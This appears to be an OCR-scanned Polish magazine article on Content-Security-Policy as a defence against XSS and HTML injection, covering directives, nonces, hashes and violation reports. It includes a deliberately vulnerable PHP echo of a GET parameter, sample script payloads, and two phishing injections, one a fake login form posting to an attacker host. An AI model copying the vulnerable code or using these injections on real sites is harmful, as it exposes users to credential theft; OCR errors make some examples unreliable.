BEZPIECZENSTWO

Michat Leszczynski

W odpowiedzi na ataki XSS
- mechanizm Content-Security-Policy

Definitywnie dwoma najwiekszymi bolaczkami webdeveloperéw w kwestiach zwigza-
nych z bezpieczenstwem sg podatnosci SQL Injection i Cross-Site Scripting. O ile tych
pierwszych jest juz znacznie mniej niz kiedys, to rézne statystyki podajg, ze 60-80%
aplikacji funkcjonujgcych w 2014 roku w Internecie byto podatnych na ataki XSS. Con-
tent-Security-Policy to odpowiedZ developerdw przeglgdarek na to zagrozenie.

KROTKIE PRZYPOMNIENIE KONCEPCJI XSS

Przypomnijmy koncepcje XSS tym czytelnikom, ktorzy nie sg z nig jeszcze za-
znajomieni. Poprzez podatnosci typu,Cross-site Scripting” (w skrécie XSS) ro-
zumiemy wszystkie luki bezpieczenstwa pozwalajace na wstrzykniecie przez
uzytkownika ztosliwego skryptu.

Listing 1. Prosty przyktad reflected XSS w PHP

<div class="container">

<h1>Sklep z jabtkami</h1>

<p>Zamawiasz <?php echo $_GET['ilosc']; ?> sztuk.</p>
</div>

Odnoszac sie do powyzszego przykiadu - jesli uzytkownik w parametrze ilosc
wprowadzi przyktadowo wartos¢ 10<script>alert(1);</script>, a apli-
kacja nie sprawdzi poprawnosci parametru (co wbrew pozorom zdarza sie dos¢
czesto), dojdzie do wstrzykniecia kodu JavaScript alert (1) ; wzrddto strony.

Rysunek 1. Efekt wstrzykniecia kodu

Tego typu podatnos¢ mozna wykorzystac np. do spreparowania adresu URL
i podestania go innemu uzytkownikowi. Potencjalny atakujacy moze np. pro-
bowac ataku ,przejecia sesji’, preparujac link tak, aby po kliknieciu w niego,
w przegladarce uzytkownika uruchomit sie ztosliwy kod, ktéry odczyta jego
ciasteczka i przesle ich zawartos¢ na serwer atakujacego.

Filtry anty-XSS w przegladarkach

Przytoczony prosty przyktad z Listingu 1 moze nie zadziata¢ w przegladar-
kach Google Chrome oraz Internet Explorer. Przegladarki te posiadaja wbu-
dowane filtry, ktére staraja sie neutralizowac ataki typu ,reflected XSS”.
Jezeli przegladarka wykryje, ze parametr GET (lub inny zalezny od uzytkow-
nika) zostat , odbity” przez serwer w formie czystego kodu HTML, to naj-
prawdopodobniej bedzie celowo odmawiaé wykonywania wstrzyknietych
w ten sposéb skryptow.

Tego typu filtr nie rozwigzuje ostatecznie problemu, poniewaz w duzej
mierze polega na heurystyce wykonywanej przez przegladarke. Nawet pre-
fekcyjnie dziatajgcy algorytm nie bedzie mégt wykryc niektérych bardziej
ztozonych przypadkéw ataku XSS - ztosliwy kod nie musi pochodzi¢ z para-
metru podanego przez uzytkownika, moze zosta¢ zaserwowany np. z bazy
danych (zaktadajac, ze ktos go tam wczesniej w jakis sposéb wstawi).
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Wspomniany przykfad to wciaz tylko jedna z bardzo wielu mozliwosci.
Kazdy przypadek wystepowania podatnosci XSS w ztozonej aplikacji jest
dosc¢ indywidualny, a mozliwosci atakujacego sg ograniczone przez obecnosc
rozmaitych zabezpieczen. Rekomendowane bytoby jednak nie bagatelizo-
wac zadnego z takich przypadkéw, zaktadajac, ze poziom sprytu atakujacego
moze przerosnac nasze oczekiwania. Niejeden tego typu udany atak przepro-
wadzony na Facebooku czy Twitterze byt niesamowicie ztozonym ,przypad-
kiem brzegowym".

Do tej pory producenci najpopularniejszych przegladarek zaimplemen-
towali pare mniej lub bardziej skutecznych mechanizméw majacych na celu
utrudnianie atakéw wstrzykiwania zawartosci (najczesciej skryptéw, ale
réwniez styléw, kodu HTML etc.), cho¢ jedno z najpotezniejszych narzedzi
dopiero powstaje, a jest nim wiasnie proponowany przez W3C mechanizm
Content-Security-Policy (w skrocie CSP).

Nie kazda iniekcja to XSS

Powyzszy wstep teoretyczny postuguje sie gtéwnie szeroko rozpowszech-
nionym okresleniem ,XSS”. Dla zachowania poprawnosci nalezy wspo-
mnie¢, ze nie kazda podatnos¢ umozliwiajaca na wstrzykniecie zawartosci
to podatnosé typu XSS. Jezeli do kodu z Listingu 1 wstrzyknelibySmy para-
metr 10<h1>xss</h1>, to bedzie to atak HTML injection, ale nie Cross-
-site Scripting. Atak XSS ma miejsce tylko wtedy, kiedy dochodzi do wstrzyk-
niecia wykonywalnego kodu, np. JavaScript. Mechanizm CSP ma za zadanie
zapobiegac réznym atakom wstrzykiwania zawartosci, nie tylko XSS.

DOSTARCZANIE POLITYKI
BEZPIECZENSTWA DO PRZEGLADARKI

Mechanizm CSP pozwala na zdefiniowanie przez twoérce aplikacji pewnych
ograniczen dotyczacych tadowania miedzy innymi zewnetrznych skryptéw
i arkuszy styléw. Jest to swego rodzaju forma ,uprzedzania” przegladarki
o tym, czego programista na pewno nie zamierza zrobic.

Odpowiednia polityke mozemy zdefiniowa¢ w nagtéwku odpowiedzi
o nazwie Content-Security-Policy. Mozna réwniez uzy¢ odpowiednika
w postaci tagu <meta>, stanowi on jednak rozwigzanie ,zapasowe” i nie jest
zalecany.

Prosty przyktad

Przyktadowo, mozemy zadeklarowac¢, ze w wygenerowanym dokumencie
nie zamierzamy tadowac zadnych skryptéw JavaScript poza tymi pochodza-
cymi z domeny ,static.strona.tld”. Jezeli tego typu skrypty jednak pojawia sie
w dokumencie, przegladarka odmoéwi ich wykonywania. Osiggamy to za po-
moca nastepujacej polityki bezpieczenstwa:

Content-Security-Policy: script-src static.strona.tld;

1 http://www.w3.0org/TR/CSP2/
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Zatézmy, ze uruchamiamy pod ta polityka nastepujacy kod:
Listing 2. Przyktadowy kod uruchomiony pod powyzsza polityka

<body onload="alert(1);">

<script>
alert(2);
</script>

<script src="http://static.strona.tld/skrypt.js"></script>
<script src="http://inna-strona.tld/inny-skrypt.js"></script>

</body>

Zgodnie ze zdefiniowana wczesniej polityka bezpieczenstwa, skrypt zazna-
czony na zielono zostanie uruchomiony i wykona sie w normalny sposob.
Wszystkie pozostate skrypty oznaczone na czerwono zostang zablokowane
(zignorowane) — dotyczy to réwniez wstawek ,inline” oraz event handleréw
w formie atrybutéw (jak onload z powyzszego przyktadu).

@ Refused to execute inline script because index.php:3

it violates the following Content Security Policy
directive: "script-src http://static.strona.tld/".
Either the "unsafe-inline' keyword, a hash
("sha256-...'), or a nonce ('monce-..."') is required to
enable inline execution.
@ Refused to load the script "http://inna- index.php:1
because it violates the

strona.tld/inny-skrypt.js’

"script-
@ Refused to execute inline event handler index.php:1
because it violates the following Content Security
Policy directive: "script-src

ffstatic.strona.tld, Either the 'unsafe-inline’
a hash {'sha256-..."), or a nonce
') is required to enable inline execution.

Rysunek 2. Informacja o zablokowaniu skryptow z przeglgdarki Chrome

Jak wida¢ na podstawie powyzszego przyktadu, stosowanie bardzo restryk-
cyjnej polityki bezpieczernstwa mocno ogranicza mozliwosci potencjalnego
atakujacego, ktéry chciatby wykorzysta¢ podatnosé XSS. Jednoczesnie od
programisty, ktéry w swojej aplikacji bedzie chciat uzy¢ CSP, wymagane jest
dokonanie paru zatozen projektowych i konsekwencja w ich realizowaniu.

SKLADNIA | DYREKTYWY

Mechanizm CSP z zatozenia umozliwia ograniczenie dostepu do wszystkich
Lpotencjalnie niebezpiecznych” funkcjonalnosci oferowanych przez przegla-
darke, niezaleznie od tego, czy s one dostepne w ramach HTML, arkuszy sty-
I6w, kodu JavaScript etc. W tym miejscu poprzez ,potencjalnie niebezpiecz-
ne” rozumiemy takie funkcjonalnosci, ktérymi moze sie postuzy¢ atakujacy
podczas dokonywania ataku XSS na naszg aplikacje.

Ogolna sktadnia przedstawia sie nastepujaco:

Content-Security-Policy: <dyrektywal> <Zrdédtol> <Zrédio2>
<zrédio...>; <dyrektywa2> <zrédtol> <zZrédio2> <zrédio...>

Przyktadem dyrektywy jest wspomniany wczesniej script-src. Istniejg
rowniez inne dyrektywy, np. style-srciform-action. Kompletna liste dy-
rektyw oraz ich znaczenia definiuje standard.

Zrédtem jest nazwa hosta, opcjonalnie zawierajaca port, $ciezke oraz pro-
tokét. Przyktadowo, jezeli w naszej polityce umiescimy zrédto jakas-stro-
na.tld, zasoby beda mogty by¢ tadowane dowolnym protokotem (HTTP,
HTTPS, FTP, nie ma réznicy) z portu domysinego dla danego protokotu. Jezeli
natomiast w polityce umiescimy zrédto http://inna-strona.tld:8080/
stuff/, zasoby z tego hosta beda mogly by¢ tadowane, ale jedynie pod
warunkiem, ze bedziemy robili to, korzystajac z protokotu HTTP, portu 8080,

MECHANIZM CONTENT-SECURITY-POLICY

a $ciezka bedzie sie zaczynata od /stuff/. Zadania, ktére nie spetnig tych
warunkdw, zostana zablokowane.
Istnieje rowniez kilka stéw kluczowych:

'none’ odwotuje sie do pustego zbioru — zaden URL nie
zostanie dopasowany
'self’ odwotuje sie do hosta, z ktérego zatadowany zostat

chroniony dokument (wtaczajac protokdt i numer
portu)

'unsafe-inline’ (niezalecane) pozwala na uzywanie zasobéw

inline, np. wstawek <script>...</script>,
<style>...</style>, inline event handleréw
(np. <body onload="...">)etc.

'unsafe-eval’ (niezalecane) pozwala na uzywanie eval() i

pochodnych mechanizméw; domysinie wszystkie
tego typu funkcjonalnosci bedg zablokowane

'unsafe-redirect’ (niezalecane) pozwala na przekierowywanie zgdan

po okreslone zasoby w inne miejsca; domysinie
jesli zadanie po jakis zasob zakonczy sie prze-
kierowaniem, to zostanie zablokowane przez
przegladarke

Artykut omowi niektére (najbardziej kluczowe) dyrektywy bedace czescia
mechanizmu CSP. Standard w miare kolejnych potrzeb i pomystéw jest suk-
cesywnie rozszerzany, w zwiazku z tym najbardziej aktualnych informacji
dotyczacych dyrektyw mozna zasiegna¢ w najnowszej wersji standardu na
stronie W3C2

SKRYPTY (SCRIPT-SRC)

Prosty przyktad uzycia tej dyrektywy zostat juz wczesniej przedstawiony na
Listingu 2. Rzeczona dyrektywa kontroluje zrédta, z ktérych bedzie mozliwe
tadowanie skryptow.

Mechanizm CSP jest oderwany od konkretnego jezyka skryptowego. Je-
zeli przegladarka oprdcz JavaScript oferuje jakis inny jezyk skryptowy (np.
VBScript), to wszystkie reguty CSP powinny zostac zastosowane do tego je-
zyka w analogiczny sposdb. Przyktady zamieszczone w tym artykule skupiaja
sie jednak wytgcznie na szeroko rozpowszechnionym jezyku JavaScript.

Przyktad 1:

Content-Security-Policy: script-src static.strona.tld https://
inna-strona.tld;

Po zastosowaniu przytoczonej polityki mozemy zatadowac skrypt po-
przez tag <script src="..."></script>, o ile pochodzi on z domeny
static.strona.tld lub inna-strona.tld (w tym wypadku wytacznie
po HTTPS). Kazdy skrypt pochodzacy z innego zrédta zostanie automatycznie
zablokowany przez przegladarke i nie bedzie tadowany.

Skrypty nie moga by¢ jednak tadowane w zaden inny sposéb, jesli polityka
bezpieczenstwa nie zawiera stéw kluczowych wymienionych we wczesniejszej
tabelce, niemozliwe bedzie uzywanie wstawek <script>...</script>,in-
line event handleréw etc.

Arkusze stylow (style-src)

Dyrektywa style-src ogranicza mozliwosci tadowania styléw CSS i wbrew
pozorom stanowi réwnie istotne zabezpieczenie. Atakujacy, ktéry miatby
mozliwos¢ wstrzykiwania w kod strony dowolnie ostylowanych elementéw,
mogtby z fatwoscia przeprowadzac chociazby ataki phishingowe wycelowa-
ne w innych uzytkownikéw.

2 http://www.w3.0rg/TR/CSP2/#directives

/ www.programistamag.pl /
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Stowa kluczowe zaczynajace sie na ,unsafe” majg zastosowanie réwniez
do tej dyrektywy. Dokfadnych informacji na temat blokowanych mechani-
zmdw mozna zasiegnac¢ w standardzie.

Zrédta tadowane przez skrypty (connect-src)

Dyrektywa precyzuje hosty, z ktérymi bedzie sie mozna taczy¢ za pomoca
interfejsow komunikacyjnych dostepnych z poziomu JavaScript. Poprzez te
interfejsy rozumiemy przede wszystkim XMLHttpRequest (AJAX), WebSocket,
EventSource etc.

Za kazdym razem, kiedy jeden z tych mechanizméw bedzie probowat sie
potaczyc¢ z zewnetrznym hostem, zostanie on sprawdzony z listg z dyrektywy
connect-src i jezeli nie zostanie dopasowany - zadanie zostanie zabloko-
wane przez przegladarke.

Zagniezdzone konteksty przeglqdarki (child-src)

Dyrektywa stuzaca do wprowadzania ograniczen zwigzanych gtéwnie z ram-
kami (np. iframe). Jezeli ta dyrektywa bedzie obecna w polityce bezpieczen-
stwa, podczas tworzenia dodatkowego kontekstu przegladarki wewnatrz
dokumentu, jego adres docelowy zostanie sprawdzony z lista dozwolonych
zrodet.

Przyktadowo, stworzenie ramki:

<iframe src="http://evil.tld"></iframe>

nie powiedzie sie, jezeli ,evil.tld” nie znajduje sie na liscie w dyrektywie
child-src.

Pozostate dyrektywy zrodef (*-src)

Istnieje réwniez kilka innych dyrektyw ograniczajacych zrédta tadowanych

zasobdéw, miedzy innymi:

» img-src - okresla zrédia, z ktérych bedzie mozna tadowac obrazki, doty-
czy réwniez atrybutu CSS background-image: url(...)ipodobnych,

» font-src -analogicznie dla zewnetrznych czcionek,

» media-src - okresla zrédfa, z ktérych bedzie mozna tadowaé multime-
dia, wprowadzajac ograniczenia dla tagéow <audio>, <video> etc.

» object-src - analogicznie dla pluginéw, dotyczy tagdéw <object>,
<embed>, <applet> etc. (rodzaje dozwolonych pluginéw precyzuje jesz-
cze dyrektywa plugin-types)

Domysine zrédta (default-src)

W przypadku dyrektyw, ktérych nazwa konczy sie na ,-src’, mamy mozli-
wosc¢ zdefiniowania swego rodzaju wartosci domysinej. Przyktadowo, jezeli
przegladarka nie znajdzie dyrektywy img-src, to za jej warto$¢ przyjmie
wartos¢ dyrektywy default-src (o ile zostanie ona zdefiniowana).

Przyktad 2:

Content-Security-Policy: style-src something.tld; default-src
‘self’

Listing 3. Kod uruchomiony pod ponizsza polityka

<img src="http://foo.tld/obrazek.png">

<img src="/obrazek.png">

W powyzszym kodzie pierwsze odwotanie zostanie zablokowane - wobec
braku dyrektywy img-src zostanie przyjeta wartos¢ z default-src. W na-
szej polityce dyrektywa default-src pozwala wytacznie na tadowanie za-
sobow z tego samego hosta, z ktérego zostat zatadowany bazowy dokument
(stowo kluczowe 'self').
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Inne dyrektywy
(base-uri, form-action, frame-ancestors)

Istnieja réwniez inne rodzaje dyrektyw, za pomoca ktérych mozliwe jest
wprowadzenie ograniczenn uzycia innych specyficznych funkcjonalnosci,
gtdéwnie takich, ktére moga postuzyc do przeprowadzenia atakéw phishingo-
wych na uzytkownikéw. Tego typu dyrektywy to miedzy innymi:

» base-uri - wprowadza ograniczenia dotyczace stosowania miedzy in-
nymitagu <base href="...">,

» form-action - (dostepne w pdzniejszej wersji standardu) okresla lokali-
zacje, do ktérych bedzie mozna wysta¢ formularz, jezeli wartos¢ atrybutu
action nie bedzie znajdowata sie naliscie, przegladarka bedzie uniemoz-
liwiata wykonanie operacji submit w jakikolwiek sposob,

» frame-ancestors - (dostepne w pdzniejszej wersji standardu) bar-
dziej funkcjonalny odpowiednik starszego nagtéwka X-Frame-Options.

Sandbox (sandbox)

Specjalna dyrektywa ograniczajaca funkcjonalnosci, ktérych bedzie mozna
uzy¢ w renderowanym dokumencie. Moze by¢ przydatna chociazby podczas
renderowania HTMLowych wiadomosci email lub wyswietlania zatacznikow
HTML. Dziatanie jest zblizone do atrybutu sandbox oferowanego przez HTML5.

UWIERZYTELNIANIE WSTAWEK

Istnieje jeden wyjatek dotyczacy mozliwosci uzywania wstawek inline (np.
<script>...</script> lub <style>...</style>). Jezeli istnieje ko-
niecznos¢ uzycia takiej wstawki, mozemy jg uwierzytelnic, korzystajac z jed-
nego z dwdch sposobdw.

nonce

Procedura polega na dofaczeniu do odpowiedniej dyrektywy wartosci w posta-
ci "'nonce-$RANDOM', gdzie $RANDOM oznacza losowa wartos¢ zakodowana
algorytmem base64. Wartos¢ musi byc¢ losowa za kazdym razem, kiedy gene-
rujemy odpowiedz, inaczej cate zabezpieczenie stanie sie nieskuteczne. Reko-
mendowane jest generowanie wartosci o dtugosci przynajmniej 128 bitéw.

Przyktad 3:

Content-Security-Policy: script-src static.strona.tld
'nonce-5qS1F2WDO4sIVdz " ;

Nastepnie tworzymy wstawke <script> z atrybutem nonce zawierajagcym
wczesniej wygenerowang warto$¢ $RANDOM:

Listing 4. Przykiad autoryzacji wstawki inline za pomoca nonce

<script nonce="5qS1F2WDO4sIVdz">

alert('Ten kod zadziata, poniewaz wartos¢ atrybutu nonce zgadza
sie z wartoscig z nagitéwka');

</script>

<script nonce="RhadfUBQ6okzAT" >
alert('Ten kod zostanie zablokowany');
</script>

<script>
alert('Ten kod tez zostanie zablokowany');
</script>

Zatézmy, ze atakujacy probuje dokonac ataku XSS na kod z Listingu 1. Tres¢
spreparowanego parametru musi zosta¢ oczywiscie opracowana przez ata-
kujacego przed wykonaniem zapytania HTTP. Na tym etapie atakujacy nie
jest jednak w stanie przewidzie¢, jaka bedzie wartos¢ nonce, poniewaz zosta-
nie ona wylosowana dopiero podczas generowania odpowiedzi.

Powyzsza metoda wymusza generowanie unikalnej odpowiedzi za kaz-
dym odswiezeniem strony. Wprowadza to pewne trudnosci podczas cache-
-owania tego typu zasobdéw. Wygodniejsza pod tym katem jest metoda,hash”.
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hash

W tym wypadku najpierw musimy opracowac zawartos¢ wstawki inline, ktéra
chcemy uwierzytelnié.

Listing 5. Dwie przyktadowe wstawki inline

<script>alert("Kod ze wstawki 1");</script>

<script>alert("Kod ze wstawki 2");</script>

Nastepnie dla konkretnej wstawki nalezy obliczy¢ hash catej jej zawartosci
i enkodowac go algorytmem base64. Standard W3C poleca uzy¢ do tego na-
stepujacej komendy:

$ echo -n "alert("Kod ze wstawki 1");" | openssl dgst -sha256
-binary | openssl enc -base64

Otrzymany wynik dopisujemy do dyrektywy w formie wartosci
'sha256-$HASH'.

Przyktad 4:

Content-Security-Policy: script-src 'hash-9K5tWHt4RvM+jhIOodAEShC
d7Hv1Qply1Ic78A0pojQ=";

Po zastosowaniu powyzszej polityki, kod z pierwszej wstawki zostanie uru-
chomiony, poniewaz hash zawartosci tej wstawki jest wyszczegdlniony
w polityce jako dozwolony wyjatek. Druga wstawka zostanie zablokowana,
poniewaz zadna reguta nie zezwala na jej uruchomienie.

RAPORTY NARUSZEN

Mechanizm CSP, oprocz tego, ze oferuje caty wachlarz funkcjonalnosci zwia-
zanych z blokowaniem i ograniczaniem réznych funkcjonalnosci, daje mozli-
wos¢ zazadania od przegladarki uzytkownika, aby kazde naruszenie polityki
bezpieczenstwa skutkowato wystaniem stosownego raportu.

Adres URL (lub sam fragment $ciezki), pod ktéry powinien by¢ przesytany
raport naruszen, precyzujemy za pomoca dyrektywy report-uri.

Przyktad 5:

Content-Security-Policy: script-src 'self'; report-uri /
csp-report/;

Przyktadowe odwotanie:

<script src="http://zuo.tld/skrypt.js"></script>

nie tylko zostanie zablokowane, ale réwniez na adres /csp-report/ zosta-
nie (metoda POST) wystany raport naruszen o nastepujacej tresci:

Listing 6. Przykladowy raport naruszen

{
"csp-report": {
"document-uri": "http://nasza-strona.tld/",
"referrer": ""
"violated-directive": "script-src 'self'",
"effective-directive": "script-src”,
"original-policy": "script-src 'self'; report-uri /csp-report/;",
"blocked-uri": ""
"status-code": 200
}
}

Jezeli jakas podatnos¢ zostanie nieumiejetnie wykorzystana, albo jakis uzyt-
kownik ujawni jg przez przypadek, twérca aplikacji na podstawie raportow
bedzie mégt wywnioskowac, gdzie prawdopodobnie znajduje sie ta luka.

STOPIEN IMPLEMENTACJI
W PRZEGLADARKACH

Dostepnos$¢ mechanizmu Content-Security-Policy wsréd przegladarek uzyt-
kownikéw juz w tym momencie osigga dosc satysfakcjonujacy poziom. We-
dtug statystyk portalu caniuse.com, tzw. ,pierwszy poziom” CSP jest obstugi-
wany przez przegladarki, ktérych uzywa ok. 70% globalnych uzytkownikéw
Internetu. Jezeli ograniczy¢ statystyke wytacznie do Polski, mechanizm bytby
w tym momencie wspierany juz u 80% uzytkownikdw.

Przytoczone statystyki dotycza ,pierwszego poziomu” standardu, ktéry
nie uwzglednia niektérych dyrektyw wprowadzonych w poézniejszych wer-
sjach. Bezposrednio nie stanowi to duzego problemu z punktu widzenia pro-
gramisty — dyrektywy, ktére do tej pory nie zostaty zaimplementowane, beda
ignorowane przez przegladarki do momentu, az developerzy nie rozszerza
swojej implementacji.

Pewien detal implementacyjny przegladarki Chrome moze powodowacé nie-
oczekiwane problemy podczas korzystania z mechanizmu CSP. Przyktadowo,
zaserwowanie dokumentu z MIME-type application/pdf, a razem z nim
polityki bezpieczenstwa dotyczacej skryptow JS moze spowodowacé zabloko-
wanie wewnetrznego skryptu Chrome odpowiedzialnego za renderowanie
PDF - zamiast dokumentu uzytkownik zobaczy biatg strone. Sposobem na
ominiecie tego problemu jest niewysytanie nagtéwka CSP podczas serwowa-
nia statycznej zawartosci (obrazkéw, dokumentéw PDF i innych podobnych).

PRZED CZYM MOZE OCHRONIC CSP?

Generalnie odpowiedz na to pytanie jest dosc prosta — przed wszystkimi atakami,
ktére beda polegaty na jakiejs funkcjonalnosci ograniczonej przez polityke bez-
pieczenstwa. Warto zwréci¢ uwage na forme tego pytania — CSP moze ochronic¢
przed wieloma atakami, a to, czy faktycznie ochroni, zalezy od tego, jak zostanie
zdefiniowana nasza polityka. Warto zadbac o to, aby byta najbardziej restryk-
cyjna jak to mozliwe. W pierwszej kolejnosci nalezy unika¢ stéw kluczowych
z grupy “unsafe”. Nie zawsze jest to mozliwe, cho¢ zbudowanie aplikacji, ktéra
bedzie dziatata poprawnie pod polityka nie zawierajaca tych stow kluczowych,
automatycznie bedzie oznaczato spory wzrost poziomu bezpieczenstwa.

PRZED CZYM NIE OCHRONI CSP
(WERSJA WCZESNIEJSZA)

Zatézmy, ze nasza aplikacja korzysta z Bootstrapa, dzieki czemu w obrebie
arkusza styléw zdefiniowany jest do$¢ bogaty zaséb klas réznego przezna-
czenia. Ponizszy przyktad bazuje na podatnym kodzie z Listingu 1 (przytoczo-
nego na samym poczatku):

Listing 7. Atak HTML injection, ktorego CSP (poziom 1) nie zablokuje

<div class="container">
<h1>Sklep z jabtkami</h1>
<p>Zamawiasz 1@
<div class="modal show">
<div class="modal-dialog">
<div class="modal-content">
<form action="http://zuo.ltd/intercept" method="POST">
<div class="modal-body">
<p>Sesja wygasta. Zaloguj sie ponownie.</p>
<!-- Faiszywy formularz logowania -->
</div>
<div class="modal-footer">
<button type="submit" class="btn
btn-primary">Zaloguj</button>
</div>
</form>
</div>
</div>
</div>
sztuk.
</p>
</div>
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BEZPIECZENSTWO

Jezeli atakujacemu udatoby sie wstrzykna¢ kod HTML zaznaczony na zie-
lono, efekt widoczny dla uzytkownika bytby nastepujacy:

Sklep z jabtkami

Sesja wygasta. Zaloguj sie ponownie.

Login:

Hasto:

Rysunek 3. Efekt wstrzykniecia kodu HTML

Biorac pod uwage, ze na tym poziomie dyrektywy form-actionoraz frame-
ancestors nie byty zdefiniowane przez standard, powyzszy przyktad nie zta-
matby zadnej polityki bezpieczenstwa (o ile tylko ta polityka pozwolitaby na
poprawne zatadowanie frameworka Bootstrap).

W pewnych warunkach tego typu phishing mogtby wygladac na tyle
wiarygodnie, ze bytby w stanie nabra¢ nawet bardzo zaawansowanych uzyt-
kownikoéw, a w efekcie dane z wypetnionego formularza powedrowatyby na
zewnetrzny serwer. Ryzyko zwigzane z dokonywaniem tego typu atakow zo-
stato przewidziane w pdzniejszej wersji standardu.

PRZED CZYM NIE OCHRONI CSP
(WERSJA POZNIEJSZA)

Wspomniany wczesniej atak wystarczy jedynie nieznacznie zmodyfikowac,
aby nie byta go w stanie zablokowac¢ nawet najbardziej restrykcyjna polityka
bezpieczenstwa zaprojektowana wedtug najnowszej wersji standardu.

Listing 8. Zmodyfikowany atak HTML injection, ktérego CSP (poziom 2)
nie zablokuje

<div class="container">
<h1>Sklep z jabtkami</h1>
<p>Zamawiasz 1@
<div class="modal show">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-body">
<p>Sesja wygasta. Zaloguj sie ponownie.</p>
</div>
<div class="modal-footer">
<a href="http://zuo.tld/" class="btn btn-primary">Zaloguj</a>
</div>
</div>
</div>
</div>
sztuk.
</p>
</div>
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W tym wypadku nie mamy do czynienia z formularzem, a jedynie wiary-
godna imitacjg popupa informujacego o wygasnieciu sesji. Przycisk,Zaloguj”
jest w rzeczywistosci dobrze ostylowanym linkiem <a href="..."></a>
do zewnetrznego serwera. Tego typu atak mégtby z duza doza prawdopodo-
bierstwa odnies¢ powodzenie, gdyby dodatkowo atakujacy zastosowat np.
typosquatting.

Sesja wygasta. Zaloguj sie ponownie.

Rysunek 4. Zmodyfikowany popup

Typosquatting jest technikg polegajaca na oszukiwaniu uzytkownikéw po-
przez uzycie domeny, ktérej nazwa jest tudzaco podobna do nazwy innej
ustugi. Przyktadowo, zarejestrowanie domeny ,,googla.com” i poleganie na
tym, ze uzytkownicy skojarzg ja z domeng ,google.com”, jest przyktadem
typosquattingu.

Oczywiscie, w zwigzku z obecnoscia polityki CSP, mozliwosci zwigzane z wy-
korzystywaniem podatnosci znacznie maleja, a ataki, ktére miatyby szanse
omina¢ ten mechanizm bezpieczenstwa, z reguty beda dos¢ skomplikowane.
Przedstawione przyktady miaty jednak na celu zademonstrowac, ze przepro-
wadzanie skutecznych atakow wciaz moze by¢ mozliwe.

W zwiazku z tym, to zabezpieczenie powinno by¢ traktowane jako uzu-
pelnienie innych mechanizméw bezpieczenstwa. Wiecej informacji na te-
mat pierwszorzednych sposobéw ochrony przed atakami XSS i pochodny-
mi mozna znalez¢, wyszukujac w Internecie hasto ,xss prevention” + nazwa
technologii.

PODSUMOWANIE

Niniejszy artykut starat sie pokaza¢, ze Content-Security-Policy jest dos$¢ sku-
tecznym narzedziem stuzacym do tagodzenia ewentualnych skutkéw atakéw
polegajacych na wstrzykiwaniu tresci (w tym réwniez XSS). O ile sama kon-
cepcja mechanizmu jest dos¢ dobra, jego efektywne uzycie wymaga nieco
wiedzy o sposobie dziatania, ale przede wszystkim zachowania wiekszej swia-
domosci zwigzanej z tworzonym kodem.

Istnieje ryzyko, ze ze wzgledu na te dwa problemy CSP nie zostanie szero-
ko zaimplementowany. Ponadto, w przypadku niektérych aplikacji operuja-
cych na kodzie niskiej jakosci (najbardziej narazonych podatnosci wspomnia-
nych w artykule) design moze znacznie utrudnic lub uniemozliwic efektywne
zastosowanie tego mechanizmu bezpieczenstwa.

Niezaleznie jednak od jakosci kodu danej aplikacji i jej obecnego pozio-
mu bezpieczenstwa, dobrze przeprowadzone wdrozenie CSP (o ile jest moz-
liwe) zazwyczaj powinno by¢ dobrym pomystem, ktéry znacznie zredukuje
mozliwosci ewentualnego przeprowadzania atakéw HTML injection, XSS
i pochodnych.




